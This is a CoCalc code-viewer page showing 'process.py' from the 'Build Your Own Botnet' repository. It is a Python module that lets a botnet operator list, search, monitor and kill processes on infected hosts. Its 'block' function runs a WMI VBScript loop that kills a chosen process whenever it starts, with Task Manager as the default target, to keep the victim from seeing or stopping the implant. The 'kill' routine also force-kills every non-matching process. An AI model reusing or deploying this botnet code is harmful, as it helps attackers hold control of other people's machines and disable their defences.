Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
malwaredllc
GitHub Repository: malwaredllc/byob
Path: blob/master/web-gui/buildyourownbotnet/modules/process.py
1292 views
1
#!/usr/bin/python
2
# -*- coding: utf-8 -*-
3
'Process Utilities (Build Your Own Botnet)'
4
5
# standard libarary
6
import os
7
import json
8
import time
9
import string
10
import threading
11
12
try:
13
from StringIO import StringIO # Python 2
14
except ImportError:
15
from io import StringIO # Python 3
16
17
# utilities
18
import util
19
20
# globals
21
packages = ['wmi','pythoncom'] if os.name == 'nt' else []
22
platforms = ['win32','linux2','darwin']
23
usage = 'process <list/search/kill>'
24
description = """
25
List/search/kill currently running processes on the client host machine
26
"""
27
log = StringIO()
28
template_block = string.Template("""On Error Resume Next
29
Set objWshShl = WScript.CreateObject("WScript.Shell")
30
Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!//./root/cimv2")
31
Set colMonitoredProcesses = objWMIService.ExecNotificationQuery("select * from __instancecreationevent " & " within 1 where TargetInstance isa 'Win32_Process'")
32
Do
33
Set objLatestProcess = colMonitoredProcesses.NextEvent
34
If objLatestProcess.TargetInstance.Name = "${PROCESS}" Then
35
objLatestProcess.TargetInstance.Terminate
36
End If
37
Loop""")
38
39
# main
40
def _monitor(keyword):
41
if os.name != 'nt':
42
return "Error: Windows platforms only"
43
try:
44
import wmi
45
import pythoncom
46
pythoncom.CoInitialize()
47
c = wmi.WMI()
48
if not len(globals()['log'].getvalue()):
49
globals()['log'].write('Time, Owner, Executable, PID, Parent\n')
50
process_watcher = c.Win32_Process.watch_for("creation")
51
while True:
52
try:
53
new_process = process_watcher()
54
proc_owner = new_process.GetOwner()
55
proc_owner = "%s\\%s" % (proc_owner[0], proc_owner[2])
56
create_date = new_process.CreationDate
57
executable = new_process.ExecutablePath
58
pid = new_process.ProcessId
59
parent_pid = new_process.ParentProcessId
60
row = '"%s", "%s", "%s", "%s", "%s"\n' % (create_date, proc_owner, executable, pid, parent_pid)
61
if keyword in row:
62
globals()['log'].write(row)
63
except Exception as e1:
64
return "{} error: {}".format(monitor.__name__, str(e1))
65
if globals()['_abort']:
66
break
67
except Exception as e2:
68
return "{} error: {}".format(monitor.__name__, str(e2))
69
70
def list(*args, **kwargs):
71
"""
72
List currently running processes
73
74
Returns process list as a dictionary (JSON) object
75
76
"""
77
try:
78
output = {}
79
for i in os.popen('tasklist' if os.name == 'nt' else 'ps').read().splitlines()[3:]:
80
pid = i.split()[1 if os.name == 'nt' else 0]
81
exe = i.split()[0 if os.name == 'nt' else -1]
82
if exe not in output:
83
if len(json.dumps(output)) < 48000:
84
output.update({pid: exe})
85
else:
86
break
87
return json.dumps(output)
88
except Exception as e:
89
return "{} error: {}".format(list.__name__, str(e))
90
91
def search(keyword):
92
"""
93
Search currently running processes for a keyword
94
95
`Required`
96
:param str keyword: keyword to search for
97
98
Returns process list as dictionary (JSON) object
99
100
"""
101
try:
102
if not isinstance(keyword, str) or not len(keyword):
103
return "usage: process search [PID/name]"
104
output = {}
105
for i in os.popen('tasklist' if os.name == 'nt' else 'ps').read().splitlines()[3:]:
106
pid = i.split()[1 if os.name == 'nt' else 0]
107
exe = i.split()[0 if os.name == 'nt' else -1]
108
if keyword in exe:
109
if len(json.dumps(output)) < 48000:
110
output.update({pid: exe})
111
else:
112
break
113
return json.dumps(output)
114
except Exception as e:
115
return "{} error: {}".format(search.__name__, str(e))
116
117
def kill(process_id):
118
"""
119
Kill a running process with a given PID
120
121
`Required`
122
:param int pid: PID of process
123
124
Returns killed process list as dictionary (JSON) object
125
"""
126
try:
127
output = {}
128
for i in os.popen('tasklist' if os.name == 'nt' else 'ps').read().splitlines()[3:]:
129
pid = i.split()[1 if os.name == 'nt' else 0]
130
exe = i.split()[0 if os.name == 'nt' else -1]
131
if str(process_id).isdigit() and int(process_id) == int(pid):
132
try:
133
_ = os.popen('taskkill /pid %s /f' % pid if os.name == 'nt' else 'kill -9 %s' % pid).read()
134
output.update({process_id: "killed"})
135
except:
136
output.update({process_id: "not found"})
137
else:
138
try:
139
_ = os.popen('taskkill /im %s /f' % exe if os.name == 'nt' else 'kill -9 %s' % exe).read()
140
output.update({exe: "killed"})
141
except Exception as e:
142
return str(e)
143
return json.dumps(output)
144
except Exception as e:
145
return "{} error: {}".format(kill.__name__, str(e))
146
147
def monitor(keyword):
148
"""
149
Monitor the host machine for process creation with the given keyword in the name
150
151
`Required`
152
:param str keyword: process name/keyword
153
154
"""
155
t = threading.Thread(target=_monitor, args=(keyword,), name=time.time())
156
t.daemon = True
157
t.start()
158
return t
159
160
def block(process_name='taskmgr.exe'):
161
"""
162
Block a process from running by immediately killing it every time it spawns
163
164
`Optional`
165
:param str process_name: process name to block (default: taskmgr.exe)
166
167
"""
168
global template_block
169
try:
170
code = template_block.substitute(PROCESS=process_name)
171
_ = util.powershell(code)
172
return "Process {} blocked".format(process_name)
173
except Exception as e:
174
return "{} error: {}".format(block.__name__, str(e))
175
176